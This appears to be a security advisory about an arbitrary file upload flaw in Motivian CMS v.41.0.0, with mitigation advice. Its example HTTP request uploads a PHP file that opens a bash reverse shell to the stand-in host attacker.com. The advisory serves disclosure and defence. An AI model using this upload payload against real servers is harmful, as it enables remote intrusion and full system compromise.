Motivian CMS | v.41.0.0
How the Exploit Works
The exploit takes advantage of a weakness in the Content/Gallery/Images component of the Motivian CMS. In the absence of adequate input validation and sanitization, an attacker can upload a file with arbitrary code encapsulated within it. Once uploaded, the attacker can trigger the execution of the code, which may lead to unauthorized system access, data manipulation, or even a full system compromise.
Conceptual Example Code
Below is a conceptual example of how the vulnerability might be exploited. Please note that this is a simplified representation and actual exploit codes may vary in complexity.
POST /Content/Gallery/Images HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=abc
--abc
Content-Disposition: form-data; name="file"; filename="exploit.php"
Content-Type: application/php
<?php
// malicious payload
exec("/bin/bash -c 'bash -i > /dev/tcp/attacker.com/8080 0>&1'");
?>
--abc--This example attempts to upload a PHP file containing a payload that establishes a reverse shell to the attacker’s machine. Upon successful upload and execution, the attacker would have a shell on the target system.
Mitigation Guidance
Users of Motivian CMS v.41.0.0 are strongly urged to apply the vendor-supplied patch to resolve this vulnerability. In cases where immediate patching is not possible, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Additionally, regularly monitoring system logs and network traffic can help detect any unusual activity or potential exploit attempts.
